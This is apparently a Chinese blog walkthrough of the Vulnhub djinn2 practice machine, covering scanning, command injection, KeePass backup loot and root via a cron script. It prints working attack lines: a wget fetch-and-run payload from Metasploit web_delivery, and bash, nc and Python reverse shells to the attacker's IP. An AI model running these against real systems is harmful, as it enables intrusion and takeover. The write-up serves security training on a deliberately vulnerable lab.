Vulnhub-djinn2

欢迎来到 djinn2 的世界,首先我们得对企业环境些许了解,否则你将无法顺畅地做该练习,在企业中一般都会有备份和邮箱,所以在该练习中,要注意备份和邮箱,一般放置的目录为 /var 目录,除此之外,作者还给我们一个小提示,就是在 5000 端口服务中有 RCE 存在,我们需要利用它,除此之外,介绍一下 MSF 中的 web_delivery 模块,它用于在我们有一定的访问权限,但是没有 shell 的情况下,让咋们开始吧:D
9f0e94b6eecebc5c265330ba5d49252.png

nmap -A -p- 192.168.67.33
d41d8bf1e72a5b1fe6d610597407884.png
106b1f6a08df24b9968de2b60ce9a3a.png
共开放了 5 个端口,21 22 1337 5000 7331
对应的服务分别为:FTP SSH GAME HTTP HTTP

21 —> FTP:
从 nmap 扫描出来的结果可以看到可用 Anonymous 登陆,并且有三个文件,这在 djinn1 环节也有,我们将其下载下来
ftp 192.168.67.33 21
get creds.txt
get game.txt
get message.txt
d577c296a0c09842ea9cb1d33f97f3f.png
看来是由于上次我们的入侵,导致 sam 被辞退了,sam 对不起…我也很无奈,这次雇佣了一个新的安全工程师:Ugtan,而且老板 0xmzfr 还臭骂了 nitish 一顿…心疼 nitish 三秒钟
除此之外,在 creds.txt 文件中我们得到了:nitu:7846A$56 但暂时不知道有什么用

22 —> SSH:
有 22 端口的出现且是 open,看来是要想尽办法拿到 nitish (概率较大)或者 ugtan 的账号和密码

1337 --> Game:
在 djinn1 中获取到了 SSH 敲门的口令,这一关它什么都不给我们…
nc 192.168.67.33 1337
ec6bfb87a0cdbc1d6c6f58564a87642.png
有 3 个选项,分别尝试后没有得到什么想要的东西…

5000 —> HTTP:
49bfdf77bab3ee4d565a03caa909ddc.png
不允许使用该方法请求 URL,看来地址栏请求的是使用 GET 方法而真正要的可能是 PUT POST 等其它方法,一般是 POST,但如果是 POST 的话,还不知道具体 POST 是什么…不过还是Burpsuite 抓包修改
Repeater 模块下,将 GET 修改为 POST 得如下:
e61dcd48dffa0c607a8aeb94ff1b464.png
但也暂时没有得到什么有效数据…暂时搁置
跑下目录:
dirb http://192.168.67.33:5000/ /usr/share/wordlists/dirb/big.txt

7331 —> HTTP:
熟悉的界面,同样先抛下目录
fdf17b517543937b6e39237b92a7c2d.png
dirb http://192.168.67.33:7331/ /usr/share/wordlists/dirb/big.txt
d692db1d84e83db29a7162d4d6e6d81.png
得到三个:robots.txt | source | wish 查看…
e696e17dce7cdb4a388898d28559a53.png
f22b8eee54ac773c0e05dd6ddda0742.png
bc4ecc5b7d1373ef30d1d151ebbd811.png

查看刚刚下载得到的 source ,
ade86eccb836313e454e213b3ec32a9.png
尤其需要注意的是:
098cd0f730f43122112f79189cad866.png
看来这对我们刚刚在 5000 端口上 POST 请求是有帮助的,我们在 POST 后边加上 username=REDCATED 和 password=RETCATED
7fc735ae6fdac8ac4abcb1fb2ddf94c.png
还记得作者提示说在 5000 端口提供的服务存在 RCE 吗?我们尝试把 username 的 REDCATED 改成 id 试试,成功执行:
2e0853f15d2380bb00fc99dcc36abec.png
构造发包,注意这里空格应改为 + 号,否则无法识别…
ls+-la --> 得到 app.py
cat+app.py --> 看来把 nc bin bash python 都过滤了…
0fdd09e7fa13c53adcbe562505ec1d3.png

这样子就把人难到? —> 我们有一定的访问权限,但是没有完整的 shell ,用啥?可以用 MSF 中的 web_delivery 模块,具体路径为: exploit/multi/script/web_delivery
use exploit/multi/script/web_delivery
show options
set payload payload/linux/x64/shell_reverse_tcp
set LHOST 192.168.67.221
show targets
set target 6
exploit
3e7e7643b3eea0965ff79974b519c79.png
wget+-qO+/tmp/oX8DPm7E+--no-check-certificate+http://192.168.67.221:8080/9OOYsWk
chmod+777+/tmp/oX8DPm7E
/tmp/oX8DPm7E
成功获取 sessions ,sessions -i 1
python -c 'import pty;pty.spawn("/bin/bash")'
20de5e76d790cbbf0b74b17097d3c5c.png
说是找不到 python,但是前面是有 app.py 这么个文件可以执行的,可能是版本的问题:
python3 -c 'import pty;pty.spawn("/bin/bash")'
得到 shell:
c8f781fc1af496fe1870795aad7ada2.png

sudo -l --> 没有东东
还记得一开始说的,这是一家公司,公司里常有备份和邮件且一般存放在 /var 吗?我们去看看
cd /var
ls -la
77f2cfbd9bb2347b02830bc4f1d132a.png

cd mail
ls -la
f365fd267f128b1fd19a54760b30e7e.png
发现权限不足,我们再看看 backups

cd ..
cd backups
ls -la
af057daa4e76d1877a9265fa3140028.png
可以看到这里有:-rwxr-xr-x 1 nitish nitish 2174 Dec 20 2019 nitu.kdbx
看到 nitu 可以知道我们前面得到一个 creds.txt 的文件,内有:nitu:7846A$56 所以猜测是打开该文件的密码,通过搜索引擎可以知道,KDBX 是加密的密码存储数据库,我们这里已经有密码了,怎么打开呢?———— KeePass
首先,下载 keepass
16c4e5fb2f3611a37f73ed0c2f6ec80.png

下载完成之后尝试用 scp 命令到 kali ,但是无法…说是权限不足,还记得在 djinn 我们创建了一个 SimpleHTTPServer 然后下载 .pyc 文件反编译来提权吗?我们这里同样可以这样做,只不过现在 python2 版本变成了,相应的我们创建服务器的命令稍微改动下就好了
python3 -m http.server
ae309ccf18c21fff41c257dbe480c5c.png

下载 nitu.kdbx,然后再用 keeppass 打开,然后右键复制密码得到 —> &HtMGd$LJB
5450655a1b3cd5daf5b531903ff12a6.png

但是是哪个用户的呢?我们知道公司现有三个管理网络的,包括0xmzfr,nitish,ugtan,很有可能还是 nitish,ssh登陆一下:
ssh nitish@192.168.67.33
062802c76c07e57ff532bf23134b7d1.png

进入 /home/nitish 查看有什么内容:貌似没有啥东西
57c5be1051ff5f12f72f7ddead293d2.png
然后找遍了各大目录,能找的都找了,还是没有发现有什么期待的文件,尝试 “sudo -l” 也米有啥东西…
然后想着查看进程,端口
ps -aux
netstat -pantu
41965635df239603edf05289b058ad7.png
发现一个 2843 端口是开着的,尝试连接,注意这里是 127.0.0.1 ,所以只能用 nitish 连接…
b18fa6dbcca7cf7a7f24b264eb27538.png
尝试各个功能,可以发现功能 5 和功能 6 是相关联的,功能 6 可以选择功能 5 创建的内容,而且总是会先 cat,所以猜测是调用了系统命令,故这里很可能存在命令执行漏洞,我们加一个分号,先看看该功能是以什么身份(id)调用的…
选择 5,创建 1;id 描述随便写
0ef772155908f24cf69473aa7a7e982.png
看来执行时十一 ugtan 身份执行的,那就可以获取一个反弹 shell 给 kali
kali 监听: nc -vnlp 8686

方法一:bash 反弹 shell

创建:1;bash -i >& /dev/tcp/192.168.67.33/8686 0>&1
无法反弹 shell

方法二:nc 反弹 shell

创建:1;nc 192.168.67.8686 -e /bin/bash
无法反弹 shell

方法三:python 反弹 shell
创建:
5
1;python3 -c 'import socket,os,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.67.221",8686));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'
6
10
获取反弹 shell:
db8470a002b32e3539b9335cdbee0d9.png
python c 'import pty;pty.spawn("/bin/bash")'
cd /home/ugtan
ls -la

没有什么东东,还记得当时我们在 /var 目录下查看的 mail 吗?现在我们有了 ugtan 可以去看看咯
cd /var/mail
ls -la
cat ugtan
8793b1b3702c26c8e2e92f90371af4c.png
信中说在 ugtan 的家目录下设置了一个定时任务 clean.sh

我们再到 ugtan 的家目录看看…看到有有一个 best目录,我们一步步进去,一直可以到 /home/ugtan/best/admin/ever 下
创建输入:echo "bash -i >& /dev/tcp/192.168.67.221/6868 0>&1" > clean.sh
查看:cat clean.sh
kali 这边: nc -vnlp 6868

Waiting…

得到 shell --> id --> cd /root --> ./proof.sh
ec2d8be0fff61f0deb39c8e41a00406.png

总结:
1.分析2.MSF web_delivery模块使用3.熟悉业务环境之 backups4.kdbx 使用5.端口查清6.漏洞执行7.熟悉业务环境之 mail8.简单反弹shell的编写

😄

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值